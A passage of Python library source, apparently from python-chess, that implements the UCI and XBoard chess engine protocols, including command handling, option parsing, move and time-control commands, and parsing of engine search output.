Optional[Color] = None, game_ending: Optional[str] = None, game_complete: bool = True) -> None: """ Sends the engine the result of the game. XBoard engines receive the final moves and a line of the form ``result <winner> {<ending>}``. The ``<winner>`` field is one of ``1-0``, ``0-1``, ``1/2-1/2``, or ``*`` to indicate white won, black won, draw, or adjournment, respectively. The ``<ending>`` field is a description of the specific reason for the end of the game: "White mates", "Time forfeiture", "Stalemate", etc. UCI engines do not expect end-of-game information and so are not sent anything. :param board: The final state of the board. :param winner: Optional. Specify the winner of the game. This is useful if the result of the game is not evident from the board--e.g., time forfeiture or draw by agreement. If not ``None``, this parameter overrides any winner derivable from the board. :param game_ending: Optional. Text describing the reason for the game ending. Similarly to the winner parameter, this overrides any game result derivable from the board. :param game_complete: Optional. Whether the game reached completion. """ @abc.abstractmethod async def quit(self) -> None: """Asks the engine to shut down.""" @classmethod async def popen(cls: Type[ProtocolT], command: Union[str, List[str]], *, setpgrp: bool = False, **popen_args: Any) -> Tuple[asyncio.SubprocessTransport, ProtocolT]: if not isinstance(command, list): command = [command] if setpgrp: try: # Windows. popen_args["creationflags"] = popen_args.get("creationflags", 0) | subprocess.CREATE_NEW_PROCESS_GROUP # type: ignore except AttributeError: # Unix. if sys.version_info >= (3, 11): popen_args["process_group"] = 0 else: # Before Python 3.11 popen_args["start_new_session"] = True return await asyncio.get_running_loop().subprocess_exec(cls, *command, **popen_args) class CommandState(enum.Enum): NEW = enum.auto() ACTIVE = enum.auto() CANCELLING = enum.auto() DONE = enum.auto() class BaseCommand(Generic[T]): def __init__(self, engine: Protocol) -> None: self._engine = engine self.state = CommandState.NEW self.result: asyncio.Future[T] = asyncio.Future() self.finished: asyncio.Future[None] = asyncio.Future() self._finished_callbacks: List[Callable[[], None]] = [] def add_finished_callback(self, callback: Callable[[], None]) -> None: self._finished_callbacks.append(callback) self._dispatch_finished() def _dispatch_finished(self) -> None: if self.finished.done(): while self._finished_callbacks: self._finished_callbacks.pop()() def _engine_terminated(self, code: int) -> None: hint = ", binary not compatible with cpu?" if code in [-4, 0xc000001d] else "" exc = EngineTerminatedError(f"engine process died unexpectedly (exit code: {code}{hint})") if self.state == CommandState.ACTIVE: self.engine_terminated(exc) elif self.state == CommandState.CANCELLING: self.finished.set_result(None) self._dispatch_finished() elif self.state == CommandState.NEW: self._handle_exception(exc) def _handle_exception(self, exc: Exception) -> None: if not self.result.done(): self.result.set_exception(exc) else: self._engine.loop.call_exception_handler({ # XXX "message": f"{type(self).__name__} failed after returning preliminary result ({self.result!r})", "exception": exc, "protocol": self._engine, "transport": self._engine.transport, }) if not self.finished.done(): self.finished.set_result(None) self._dispatch_finished() def set_finished(self) -> None: assert self.state in [CommandState.ACTIVE, CommandState.CANCELLING], self.state if not self.result.done(): self.result.set_exception(EngineError(f"engine command finished before returning result: {self!r}")) self.state = CommandState.DONE self.finished.set_result(None) self._dispatch_finished() def _cancel(self) -> None: if self.state != CommandState.CANCELLING and self.state != CommandState.DONE: assert self.state == CommandState.ACTIVE, self.state self.state = CommandState.CANCELLING self.cancel() def _start(self) -> None: assert self.state == CommandState.NEW, self.state self.state = CommandState.ACTIVE try: self.check_initialized() self.start() except EngineError as err: self._handle_exception(err) def _line_received(self, line: str) -> None: assert self.state in [CommandState.ACTIVE, CommandState.CANCELLING], self.state try: self.line_received(line) except EngineError as err: self._handle_exception(err) def cancel(self) -> None: pass def check_initialized(self) -> None: if not self._engine.initialized: raise EngineError("tried to run command, but engine is not initialized") def start(self) -> None: raise NotImplementedError def line_received(self, line: str) -> None: pass def engine_terminated(self, exc: Exception) -> None: self._handle_exception(exc) def __repr__(self) -> str: return "<{} at {:#x} (state={}, result={}, finished={}>".format(type(self).__name__, id(self), self.state, self.result, self.finished) class UciProtocol(Protocol): """ An implementation of the `Universal Chess Interface <https://www.chessprogramming.org/UCI>`_ protocol. """ def __init__(self) -> None: super().__init__() self._options: UciOptionMap[Option] = UciOptionMap() self.config: UciOptionMap[ConfigValue] = UciOptionMap() self.target_config: UciOptionMap[ConfigValue] = UciOptionMap() self.id = {} self.board = chess.Board() self.game: object = None self.first_game = True self.may_ponderhit: Optional[chess.Board] = None self.ponderhit = False @property @override def options(self) -> UciOptionMap[Option]: return self._options async def initialize(self) -> None: class UciInitializeCommand(BaseCommand[None]): def __init__(self, engine: UciProtocol): super().__init__(engine) self.engine = engine @override def check_initialized(self) -> None: if self.engine.initialized: raise EngineError("engine already initialized") @override def start(self) -> None: self.engine.send_line("uci") @override def line_received(self, line: str) -> None: token, remaining = _next_token(line) if line.strip() == "uciok" and not self.result.done(): self.engine.initialized = True self.result.set_result(None) self.set_finished() elif token == "option": self._option(remaining) elif token == "id": self._id(remaining) def _option(self, arg: str) -> None: current_parameter = None option_parts: dict[str, str] = {k: "" for k in ["name", "type", "default", "min", "max"]} var = [] parameters = list(option_parts.keys()) + ['var'] inner_regex = '|'.join([fr"\b{parameter}\b" for parameter in parameters]) option_regex = fr"\s*({inner_regex})\s*" for token in re.split(option_regex, arg.strip()): if token == "var" or (token in option_parts and not option_parts[token]): current_parameter = token elif current_parameter == "var": var.append(token) elif current_parameter: option_parts[current_parameter] = token def parse_min_max_value(option_parts: dict[str, str], which: Literal["min", "max"]) -> Optional[int]: try: number = option_parts[which] return int(number) if number else None except ValueError: LOGGER.exception(f"Exception parsing option {which}") return None name = option_parts["name"] type = option_parts["type"] default = option_parts["default"] min = parse_min_max_value(option_parts, "min") max = parse_min_max_value(option_parts, "max") without_default = Option(name, type, None, min, max, var) option = Option(without_default.name, without_default.type, without_default.parse(default), min, max, var) self.engine.options[option.name] = option if option.default is not None: self.engine.config[option.name] = option.default if option.default is not None and not option.is_managed() and option.name.lower() != "uci_analysemode": self.engine.target_config[option.name] = option.default def _id(self, arg: str) -> None: key, value = _next_token(arg) self.engine.id[key] = value.strip() return await self.communicate(UciInitializeCommand) def _isready(self) -> None: self.send_line("isready") def _opponent_info(self) -> None: opponent_info = self.config.get("UCI_Opponent") or self.target_config.get("UCI_Opponent") if opponent_info: self.send_line(f"setoption name UCI_Opponent value {opponent_info}") def _ucinewgame(self) -> None: self.send_line("ucinewgame") self._opponent_info() self.first_game = False self.ponderhit = False def debug(self, on: bool = True) -> None: """ Switches debug mode of the engine on or off. This does not interrupt other ongoing operations. """ if on: self.send_line("debug on") else: self.send_line("debug off") async def ping(self) -> None: class UciPingCommand(BaseCommand[None]): def __init__(self, engine: UciProtocol) -> None: super().__init__(engine) self.engine = engine def start(self) -> None: self.engine._isready() @override def line_received(self, line: str) -> None: if line.strip() == "readyok": self.result.set_result(None) self.set_finished() else: LOGGER.warning("%s: Unexpected engine output: %r", self.engine, line) return await self.communicate(UciPingCommand) def _changed_options(self, options: ConfigMapping) -> bool: return any(value is None or value != self.config.get(name) for name, value in _chain_config(options, self.target_config)) def _setoption(self, name: str, value: ConfigValue) -> None: try: value = self.options[name].parse(value) except KeyError: raise EngineError("engine does not support option {} (available options: {})".format(name, ", ".join(self.options))) if value is None or value != self.config.get(name): builder = ["setoption name", name] if value is False: builder.append("value false") elif value is True: builder.append("value true") elif value is not None: builder.append("value") builder.append(str(value)) if name != "UCI_Opponent": # sent after ucinewgame self.send_line(" ".join(builder)) self.config[name] = value def _configure(self, options: ConfigMapping) -> None: for name, value in _chain_config(options, self.target_config): if name.lower() in MANAGED_OPTIONS: raise EngineError("cannot set {} which is automatically managed".format(name)) self._setoption(name, value) async def configure(self, options: ConfigMapping) -> None: class UciConfigureCommand(BaseCommand[None]): def __init__(self, engine: UciProtocol): super().__init__(engine) self.engine = engine def start(self) -> None: self.engine._configure(options) self.engine.target_config.update({name: value for name, value in options.items() if value is not None}) self.result.set_result(None) self.set_finished() return await self.communicate(UciConfigureCommand) def _opponent_configuration(self, *, opponent: Optional[Opponent] = None) -> ConfigMapping: if opponent and opponent.name and "UCI_Opponent" in self.options: rating = opponent.rating or "none" title = opponent.title or "none" player_type = "computer" if opponent.is_engine else "human" return {"UCI_Opponent": f"{title} {rating} {player_type} {opponent.name}"} else: return {} async def send_opponent_information(self, *, opponent: Optional[Opponent] = None, engine_rating: Optional[int] = None) -> None: return await self.configure(self._opponent_configuration(opponent=opponent)) def _position(self, board: chess.Board) -> None: # Select UCI_Variant and UCI_Chess960. uci_variant = type(board).uci_variant if "UCI_Variant" in self.options: self._setoption("UCI_Variant", uci_variant) elif uci_variant != "chess": raise EngineError("engine does not support UCI_Variant") if "UCI_Chess960" in self.options: self._setoption("UCI_Chess960", board.chess960) elif board.chess960: raise EngineError("engine does not support UCI_Chess960") # Send starting position. builder = ["position"] safe_history = all(board.move_stack) root = board.root() if safe_history else board fen = root.fen(shredder=board.chess960, en_passant="fen") if uci_variant == "chess" and fen == chess.STARTING_FEN: builder.append("startpos") else: builder.append("fen") builder.append(fen) # Send moves. if not safe_history: LOGGER.warning("Not transmitting history with null moves to UCI engine") elif board.move_stack: builder.append("moves") builder.extend(move.uci() for move in board.move_stack) self.send_line(" ".join(builder)) self.board = board.copy(stack=False) def _go(self, limit: Limit, *, root_moves: Optional[Iterable[chess.Move]] = None, ponder: bool = False, infinite: bool = False) -> None: builder = ["go"] if ponder: builder.append("ponder") if limit.white_clock is not None: builder.append("wtime") builder.append(str(max(1, round(limit.white_clock * 1000)))) if limit.black_clock is not None: builder.append("btime") builder.append(str(max(1, round(limit.black_clock * 1000)))) if limit.white_inc is not None: builder.append("winc") builder.append(str(round(limit.white_inc * 1000))) if limit.black_inc is not None: builder.append("binc") builder.append(str(round(limit.black_inc * 1000))) if limit.remaining_moves is not None and int(limit.remaining_moves) > 0: builder.append("movestogo") builder.append(str(int(limit.remaining_moves))) if limit.depth is not None: builder.append("depth") builder.append(str(max(1, int(limit.depth)))) if limit.nodes is not None: builder.append("nodes") builder.append(str(max(1, int(limit.nodes)))) if limit.mate is not None: builder.append("mate") builder.append(str(max(1, int(limit.mate)))) if limit.time is not None: builder.append("movetime") builder.append(str(max(1, round(limit.time * 1000)))) if infinite: builder.append("infinite") if root_moves is not None: builder.append("searchmoves") if root_moves: builder.extend(move.uci() for move in root_moves) else: # Work around searchmoves followed by nothing. builder.append("0000") self.send_line(" ".join(builder)) async def play(self, board: chess.Board, limit: Limit, *, game: object = None, info: Info = INFO_NONE, ponder: bool = False, draw_offered: bool = False, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}, opponent: Optional[Opponent] = None) -> PlayResult: new_options: Dict[str, ConfigValue] = {} for name, value in options.items(): new_options[name] = value new_options.update(self._opponent_configuration(opponent=opponent)) engine = self class UciPlayCommand(BaseCommand[PlayResult]): def __init__(self, engine: UciProtocol): super().__init__(engine) self.engine = engine # May ponderhit only in the same game and with unchanged target # options. The managed options UCI_AnalyseMode, Ponder, and # MultiPV never change between pondering play commands. engine.may_ponderhit = board if ponder and not engine.first_game and game == engine.game and not engine._changed_options(new_options) else None @override def start(self) -> None: self.info: InfoDict = {} self.pondering: Optional[chess.Board] = None self.sent_isready = False self.start_time = time.perf_counter() if self.engine.ponderhit: self.engine.ponderhit = False self.engine.send_line("ponderhit") return if "UCI_AnalyseMode" in self.engine.options and "UCI_AnalyseMode" not in self.engine.target_config and all(name.lower() != "uci_analysemode" for name in new_options): self.engine._setoption("UCI_AnalyseMode", False) if "Ponder" in self.engine.options: self.engine._setoption("Ponder", ponder) if "MultiPV" in self.engine.options: self.engine._setoption("MultiPV", self.engine.options["MultiPV"].default) new_opponent = new_options.get("UCI_Opponent") or self.engine.target_config.get("UCI_Opponent") opponent_changed = new_opponent != self.engine.config.get("UCI_Opponent") self.engine._configure(new_options) if self.engine.first_game or self.engine.game != game or opponent_changed: self.engine.game = game self.engine._ucinewgame() self.sent_isready = True self.engine._isready() else: self._readyok() @override def line_received(self, line: str) -> None: token, remaining = _next_token(line) if token == "info": self._info(remaining) elif token == "bestmove": self._bestmove(remaining) elif line.strip() == "readyok" and self.sent_isready: self._readyok() else: LOGGER.warning("%s: Unexpected engine output: %r", self.engine, line) def _readyok(self) -> None: self.sent_isready = False engine._position(board) engine._go(limit, root_moves=root_moves) def _info(self, arg: str) -> None: if not self.pondering: self.info.update(_parse_uci_info(arg, self.engine.board, info)) def _bestmove(self, arg: str) -> None: if self.pondering: self.pondering = None elif not self.result.cancelled(): best = _parse_uci_bestmove(self.engine.board, arg) self.result.set_result(PlayResult(best.move, best.ponder, self.info)) if ponder and best.move and best.ponder: self.pondering = board.copy() self.pondering.push(best.move) self.pondering.push(best.ponder) self.engine._position(self.pondering) # Adjust clocks for pondering. time_used = time.perf_counter() - self.start_time ponder_limit = copy.copy(limit) if ponder_limit.white_clock is not None: ponder_limit.white_clock += (ponder_limit.white_inc or 0.0) if self.pondering.turn == chess.WHITE: ponder_limit.white_clock -= time_used if ponder_limit.black_clock is not None: ponder_limit.black_clock += (ponder_limit.black_inc or 0.0) if self.pondering.turn == chess.BLACK: ponder_limit.black_clock -= time_used if ponder_limit.remaining_moves: ponder_limit.remaining_moves -= 1 self.engine._go(ponder_limit, ponder=True) if not self.pondering: self.end() def end(self) -> None: engine.may_ponderhit = None self.set_finished() @override def cancel(self) -> None: if self.engine.may_ponderhit and self.pondering and self.engine.may_ponderhit.move_stack == self.pondering.move_stack and self.engine.may_ponderhit == self.pondering: self.engine.ponderhit = True self.end() else: self.engine.send_line("stop") @override def engine_terminated(self, exc: Exception) -> None: # Allow terminating engine while pondering. if not self.result.done(): super().engine_terminated(exc) return await self.communicate(UciPlayCommand) async def analysis(self, board: chess.Board, limit: Optional[Limit] = None, *, multipv: Optional[int] = None, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> AnalysisResult: class UciAnalysisCommand(BaseCommand[AnalysisResult]): def __init__(self, engine: UciProtocol): super().__init__(engine) self.engine = engine def start(self) -> None: self.analysis = AnalysisResult(stop=lambda: self.cancel()) self.sent_isready = False if "Ponder" in self.engine.options: self.engine._setoption("Ponder", False) if "UCI_AnalyseMode" in self.engine.options and "UCI_AnalyseMode" not in self.engine.target_config and all(name.lower() != "uci_analysemode" for name in options): self.engine._setoption("UCI_AnalyseMode", True) if "MultiPV" in self.engine.options or (multipv and multipv > 1): self.engine._setoption("MultiPV", 1 if multipv is None else multipv) self.engine._configure(options) if self.engine.first_game or self.engine.game != game: self.engine.game = game self.engine._ucinewgame() self.sent_isready = True self.engine._isready() else: self._readyok() @override def line_received(self, line: str) -> None: token, remaining = _next_token(line) if token == "info": self._info(remaining) elif token == "bestmove": self._bestmove(remaining) elif line.strip() == "readyok" and self.sent_isready: self._readyok() else: LOGGER.warning("%s: Unexpected engine output: %r", self.engine, line) def _readyok(self) -> None: self.sent_isready = False self.engine._position(board) if limit: self.engine._go(limit, root_moves=root_moves) else: self.engine._go(Limit(), root_moves=root_moves, infinite=True) self.result.set_result(self.analysis) def _info(self, arg: str) -> None: self.analysis.post(_parse_uci_info(arg, self.engine.board, info)) def _bestmove(self, arg: str) -> None: if not self.result.done(): raise EngineError("was not searching, but engine sent bestmove") best = _parse_uci_bestmove(self.engine.board, arg) self.set_finished() self.analysis.set_finished(best) @override def cancel(self) -> None: self.engine.send_line("stop") @override def engine_terminated(self, exc: Exception) -> None: LOGGER.debug("%s: Closing analysis because engine has been terminated (error: %s)", self.engine, exc) self.analysis.set_exception(exc) return await self.communicate(UciAnalysisCommand) async def send_game_result(self, board: chess.Board, winner: Optional[Color] = None, game_ending: Optional[str] = None, game_complete: bool = True) -> None: pass async def quit(self) -> None: self.send_line("quit") await asyncio.shield(self.returncode) UCI_REGEX = re.compile(r"^[a-h][1-8][a-h][1-8][pnbrqk]?|[PNBRQK]@[a-h][1-8]|0000\Z") def _create_variation_line(root_board: chess.Board, line: str) -> tuple[list[chess.Move], str]: board = root_board.copy(stack=False) currline: list[chess.Move] = [] while True: next_move, remaining_line_after_move = _next_token(line) if UCI_REGEX.match(next_move): currline.append(board.push_uci(next_move)) line = remaining_line_after_move else: return currline, line def _parse_uci_info(arg: str, root_board: chess.Board, selector: Info = INFO_ALL) -> InfoDict: info: InfoDict = {} if not selector: return info remaining_line = arg while remaining_line: parameter, remaining_line = _next_token(remaining_line) if parameter == "string": info["string"] = remaining_line break elif parameter in ["depth", "seldepth", "nodes", "multipv", "currmovenumber", "hashfull", "nps", "tbhits", "cpuload"]: try: number, remaining_line = _next_token(remaining_line) info[parameter] = int(number) # type: ignore except (ValueError, IndexError): LOGGER.error("Exception parsing %s from info: %r", parameter, arg) elif parameter == "time": try: time_ms, remaining_line = _next_token(remaining_line) info["time"] = int(time_ms) / 1000.0 except (ValueError, IndexError): LOGGER.error("Exception parsing %s from info: %r", parameter, arg) elif parameter == "ebf": try: number, remaining_line = _next_token(remaining_line) info["ebf"] = float(number) except (ValueError, IndexError): LOGGER.error("Exception parsing %s from info: %r", parameter, arg) elif parameter == "score" and selector & INFO_SCORE: try: kind, remaining_line = _next_token(remaining_line) value, remaining_line = _next_token(remaining_line) token, remaining_after_token = _next_token(remaining_line) if token in ["lowerbound", "upperbound"]: info[token] = True # type: ignore remaining_line = remaining_after_token if kind == "cp": info["score"] = PovScore(Cp(int(value)), root_board.turn) elif kind == "mate": info["score"] = PovScore(Mate(int(value)), root_board.turn) else: LOGGER.error("Unknown score kind %r in info (expected cp or mate): %r", kind, arg) except (ValueError, IndexError): LOGGER.error("Exception parsing score from info: %r", arg) elif parameter == "currmove": try: current_move, remaining_line = _next_token(remaining_line) info["currmove"] = chess.Move.from_uci(current_move) except (ValueError, IndexError): LOGGER.error("Exception parsing currmove from info: %r", arg) elif parameter == "currline" and selector & INFO_CURRLINE: try: if "currline" not in info: info["currline"] = {} cpunr_text, remaining_line = _next_token(remaining_line) cpunr = int(cpunr_text) currline, remaining_line = _create_variation_line(root_board, remaining_line) info["currline"][cpunr] = currline except (ValueError, IndexError): LOGGER.error("Exception parsing currline from info: %r, position at root: %s", arg, root_board.fen()) elif parameter == "refutation" and selector & INFO_REFUTATION: try: if "refutation" not in info: info["refutation"] = {} board = root_board.copy(stack=False) refuted_text, remaining_line = _next_token(remaining_line) refuted = board.push_uci(refuted_text) refuted_by, remaining_line = _create_variation_line(board, remaining_line) info["refutation"][refuted] = refuted_by except (ValueError, IndexError): LOGGER.error("Exception parsing refutation from info: %r, position at root: %s", arg, root_board.fen()) elif parameter == "pv" and selector & INFO_PV: try: pv, remaining_line = _create_variation_line(root_board, remaining_line) info["pv"] = pv except (ValueError, IndexError): LOGGER.error("Exception parsing pv from info: %r, position at root: %s", arg, root_board.fen()) elif parameter == "wdl": try: wins, remaining_line = _next_token(remaining_line) draws, remaining_line = _next_token(remaining_line) losses, remaining_line = _next_token(remaining_line) info["wdl"] = PovWdl(Wdl(int(wins), int(draws), int(losses)), root_board.turn) except (ValueError, IndexError): LOGGER.error("Exception parsing wdl from info: %r", arg) return info def _parse_uci_bestmove(board: chess.Board, args: str) -> BestMove: tokens = args.split() move = None ponder = None if tokens and tokens[0] not in ["(none)", "NULL"]: try: # AnMon 5.75 uses uppercase letters to denote promotion types. move = board.push_uci(tokens[0].lower()) except ValueError as err: raise EngineError(err) try: # Houdini 1.5 sends NULL instead of skipping the token. if len(tokens) >= 3 and tokens[1] == "ponder" and tokens[2] not in ["(none)", "NULL"]: ponder = board.parse_uci(tokens[2].lower()) except ValueError: LOGGER.exception("Engine sent invalid ponder move") finally: board.pop() return BestMove(move, ponder) def _chain_config(a: ConfigMapping, b: ConfigMapping) -> Iterator[Tuple[str, ConfigValue]]: for name, value in a.items(): yield name, value for name, value in b.items(): if name not in a: yield name, value class UciOptionMap(MutableMapping[str, T]): """Dictionary with case-insensitive keys.""" def __init__(self, data: Optional[Iterable[Tuple[str, T]]] = None, **kwargs: T) -> None: self._store: Dict[str, Tuple[str, T]] = {} if data is None: data = {} self.update(data, **kwargs) def __setitem__(self, key: str, value: T) -> None: self._store[key.lower()] = (key, value) def __getitem__(self, key: str) -> T: return self._store[key.lower()][1] def __delitem__(self, key: str) -> None: del self._store[key.lower()] def __iter__(self) -> Iterator[str]: return (casedkey for casedkey, _ in self._store.values()) def __len__(self) -> int: return len(self._store) def __eq__(self, other: object) -> bool: try: for key, value in self.items(): if key not in other or other[key] != value: # type: ignore return False for key, value in other.items(): # type: ignore if key not in self or self[key] != value: return False return True except (TypeError, AttributeError): return NotImplemented def copy(self) -> UciOptionMap[T]: return type(self)(self._store.values()) def __copy__(self) -> UciOptionMap[T]: return self.copy() def __repr__(self) -> str: return f"{type(self).__name__}({dict(self.items())!r})" XBOARD_ERROR_REGEX = re.compile(r"^\s*(Error|Illegal move)(\s*\([^()]+\))?\s*:") class XBoardProtocol(Protocol): """ An implementation of the `XBoard protocol <http://hgm.nubati.net/CECP.html>`__ (CECP). """ def __init__(self) -> None: super().__init__() self.features: Dict[str, Union[int, str]] = {} self.id = {} self._options = { "random": Option("random", "check", False, None, None, None), "computer": Option("computer", "check", False, None, None, None), "name": Option("name", "string", "", None, None, None), "engine_rating": Option("engine_rating", "spin", 0, None, None, None), "opponent_rating": Option("opponent_rating", "spin", 0, None, None, None) } self.config: Dict[str, ConfigValue] = {} self.target_config: Dict[str, ConfigValue] = {} self.board = chess.Board() self.game: object = None self.clock_id: object = None self.first_game = True @property @override def options(self) -> Dict[str, Option]: return self._options async def initialize(self) -> None: class XBoardInitializeCommand(BaseCommand[None]): def __init__(self, engine: XBoardProtocol): super().__init__(engine) self.engine = engine @override def check_initialized(self) -> None: if self.engine.initialized: raise EngineError("engine already initialized") @override def start(self) -> None: self.engine.send_line("xboard") self.engine.send_line("protover 2") self.timeout_handle = self.engine.loop.call_later(2.0, lambda: self.timeout()) def timeout(self) -> None: LOGGER.error("%s: Timeout during initialization", self.engine) self.end() @override def line_received(self, line: str) -> None: token, remaining = _next_token(line) if token.startswith("#"): pass elif token == "feature": self._feature(remaining) elif XBOARD_ERROR_REGEX.match(line): raise EngineError(line) def _feature(self, arg: str) -> None: for feature in shlex.split(arg): key, value = feature.split("=", 1) if key == "option": option = _parse_xboard_option(value) if option.name not in ["random", "computer", "cores", "memory"]: self.engine.options[option.name] = option else: try: self.engine.features[key] = int(value) except ValueError: self.engine.features[key] = value if "done" in self.engine.features: self.timeout_handle.cancel() if self.engine.features.get("done"): self.end() def end(self) -> None: if not self.engine.features.get("ping", 0): self.result.set_exception(EngineError("xboard engine did not declare required feature: ping")) self.set_finished() return if not self.engine.features.get("setboard", 0): self.result.set_exception(EngineError("xboard engine did not declare required feature: setboard")) self.set_finished() return if not self.engine.features.get("reuse", 1): LOGGER.warning("%s: Rejecting feature reuse=0", self.engine) self.engine.send_line("rejected reuse") if not self.engine.features.get("sigterm", 1): LOGGER.warning("%s: Rejecting feature sigterm=0", self.engine) self.engine.send_line("rejected sigterm") if self.engine.features.get("san", 0): LOGGER.warning("%s: Rejecting feature san=1", self.engine) self.engine.send_line("rejected san") if "myname" in self.engine.features: self.engine.id["name"] = str(self.engine.features["myname"]) if self.engine.features.get("memory", 0): self.engine.options["memory"] = Option("memory", "spin", 16, 1, None, None) self.engine.send_line("accepted memory") if self.engine.features.get("smp", 0): self.engine.options["cores"] = Option("cores", "spin", 1, 1, None, None) self.engine.send_line("accepted smp") if self.engine.features.get("egt"): for egt in str(self.engine.features["egt"]).split(","): name = f"egtpath {egt}" self.engine.options[name] = Option(name, "path", None, None, None, None) self.engine.send_line("accepted egt") for option in self.engine.options.values(): if option.default is not None: self.engine.config[option.name] = option.default if option.default is not None and not option.is_managed(): self.engine.target_config[option.name] = option.default self.engine.initialized = True self.result.set_result(None) self.set_finished() return await self.communicate(XBoardInitializeCommand) def _ping(self, n: int) -> None: self.send_line(f"ping {n}") def _variant(self, variant: Optional[str]) -> None: variants = str(self.features.get("variants", "")).split(",") if not variant or variant not in variants: raise EngineError("unsupported xboard variant: {} (available: {})".format(variant, ", ".join(variants))) self.send_line(f"variant {variant}") def _new(self, board: chess.Board, game: object, options: ConfigMapping, opponent: Optional[Opponent] = None) -> None: self._configure(options) self._configure(self._opponent_configuration(opponent=opponent)) # Set up starting position. root = board.root() new_options = any(param in options for param in ("random", "computer")) new_game = self.first_game or self.game != game or new_options or opponent or root != self.board.root() self.game = game self.first_game = False if new_game: self.board = root self.send_line("new") variant = type(board).xboard_variant if variant == "normal" and board.chess960: self._variant("fischerandom") elif variant != "normal": self._variant(variant) if self.config.get("random"): self.send_line("random") opponent_name = self.config.get("name") if opponent_name and self.features.get("name", True): self.send_line(f"name {opponent_name}") opponent_rating = self.config.get("opponent_rating") engine_rating = self.config.get("engine_rating") if engine_rating or opponent_rating: self.send_line(f"rating {engine_rating or 0} {opponent_rating or 0}") if self.config.get("computer"): self.send_line("computer") self.send_line("force") fen = root.fen(shredder=board.chess960, en_passant="fen") if variant != "normal" or fen != chess.STARTING_FEN or board.chess960: self.send_line(f"setboard {fen}") else: self.send_line("force") # Undo moves until common position. common_stack_len = 0 if not new_game: for left, right in zip(self.board.move_stack, board.move_stack): if left == right: common_stack_len += 1 else: break while len(self.board.move_stack) > common_stack_len + 1: self.send_line("remove") self.board.pop() self.board.pop() while len(self.board.move_stack) > common_stack_len: self.send_line("undo") self.board.pop() # Play moves from board stack. for move in board.move_stack[common_stack_len:]: if not move: LOGGER.warning("Null move (in %s) may not be supported by all XBoard engines", self.board.fen()) prefix = "usermove " if self.features.get("usermove", 0) else "" self.send_line(prefix + self.board.xboard(move)) self.board.push(move) async def ping(self) -> None: class XBoardPingCommand(BaseCommand[None]): def __init__(self, engine: XBoardProtocol): super().__init__(engine) self.engine = engine @override def start(self) -> None: n = id(self) & 0xffff self.pong = f"pong {n}" self.engine._ping(n) @override def line_received(self, line: str) -> None: if line == self.pong: self.result.set_result(None) self.set_finished() elif not line.startswith("#"): LOGGER.warning("%s: Unexpected engine output: %r", self.engine, line) elif XBOARD_ERROR_REGEX.match(line): raise EngineError(line) return await self.communicate(XBoardPingCommand) async def play(self, board: chess.Board, limit: Limit, *, game: object = None, info: Info = INFO_NONE, ponder: bool = False, draw_offered: bool = False, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}, opponent: Optional[Opponent] = None) -> PlayResult: if root_moves is not None: raise EngineError("play with root_moves, but xboard supports 'include' only in analysis mode") class XBoardPlayCommand(BaseCommand[PlayResult]): def __init__(self, engine: XBoardProtocol): super().__init__(engine) self.engine = engine @override def start(self) -> None: self.play_result = PlayResult(None, None) self.stopped = False self.pong_after_move: Optional[str] = None self.pong_after_ponder: Optional[str] = None # Set game, position and configure. self.engine._new(board, game, options, opponent) # Limit or time control. clock = limit.white_clock if board.turn else limit.black_clock increment = limit.white_inc if board.turn else limit.black_inc if limit.clock_id is None or limit.clock_id != self.engine.clock_id: self._send_time_control(clock, increment) self.engine.clock_id = limit.clock_id if limit.nodes is not None: if limit.time is not None or limit.white_clock is not None or limit.black_clock is not None or increment is not None: raise EngineError("xboard does not support mixing node limits with time limits") if "nps" not in self.engine.features: LOGGER.warning("%s: Engine did not explicitly declare support for node limits (feature nps=?)") elif not self.engine.features["nps"]: raise EngineError("xboard engine does not support node limits (feature nps=0)") self.engine.send_line("nps 1") self.engine.send_line(f"st {max(1, int(limit.nodes))}") if limit.depth is not None: self.engine.send_line(f"sd {max(1, int(limit.depth))}") if limit.white_clock is not None: self.engine.send_line("{} {}".format("time" if board.turn else "otim", max(1, round(limit.white_clock * 100)))) if limit.black_clock is not None: self.engine.send_line("{} {}".format("otim" if board.turn else "time", max(1, round(limit.black_clock * 100)))) if draw_offered and self.engine.features.get("draw", 1): self.engine.send_line("draw") # Start thinking. self.engine.send_line("post" if info else "nopost") self.engine.send_line("hard" if ponder else "easy") self.engine.send_line("go") @override def line_received(self, line: str) -> None: token, remaining = _next_token(line) if token == "move": self._move(remaining.strip()) elif token == "Hint:": self._hint(remaining.strip()) elif token == "pong": pong_line = f"{token} {remaining.strip()}" if pong_line == self.pong_after_move: if not self.result.done(): self.result.set_result(self.play_result) if not ponder: self.set_finished() elif pong_line == self.pong_after_ponder: if not self.result.done(): self.result.set_result(self.play_result) self.set_finished() elif f"{token} {remaining.strip()}" == "offer draw": if not self.result.done(): self.play_result.draw_offered = True self._ping_after_move() elif line.strip() == "resign": if not self.result.done(): self.play_result.resigned = True self._ping_after_move() elif token in ["1-0", "0-1", "1/2-1/2"]: if "resign" in line and not self.result.done(): self.play_result.resigned = True self._ping_after_move() elif token.startswith("#"): pass elif XBOARD_ERROR_REGEX.match(line): self.engine.first_game = True # Board state might no longer be in sync raise EngineError(line) elif len(line.split()) >= 4 and line.lstrip()[0].isdigit(): self._post(line) else: LOGGER.warning("%s: Unexpected engine output: %r", self.engine, line) def _send_time_control(self, clock: Optional[float], increment: Optional[float]) -> None: if limit.remaining_moves or clock is not None or increment is not None: base_mins, base_secs = divmod(int(clock or 0), 60) self.engine.send_line(f"level {limit.remaining_moves or 0} {base_mins}:{base_secs:02d} {increment or 0}") if limit.time is not None: self.engine.send_line(f"st {max(0.01, limit.time)}") def _post(self, line: str) -> None: if not self.result.done(): self.play_result.info = _parse_xboard_post(line, self.engine.board, info) def _move(self, arg: str) -> None: if not self.result.done() and self.play_result.move is None: try: self.play_result.move = self.engine.board.push_xboard(arg) except ValueError as err: self.result.set_exception(EngineError(err)) else: self._ping_after_move() else: try: self.engine.board.push_xboard(arg) except ValueError: LOGGER.exception("Exception playing unexpected move") def _hint(self, arg: str) -> None: if not self.result.done() and self.play_result.move is not None and self.play_result.ponder is None: try: self.play_result.ponder = self.engine.board.parse_xboard(arg) except ValueError: LOGGER.exception("Exception parsing hint") else: LOGGER.warning("Unexpected hint: %r", arg) def _ping_after_move(self) -> None: if self.pong_after_move is None: n = id(self) & 0xffff self.pong_after_move = f"pong {n}" self.engine._ping(n) @override def cancel(self) -> None: if self.stopped: return 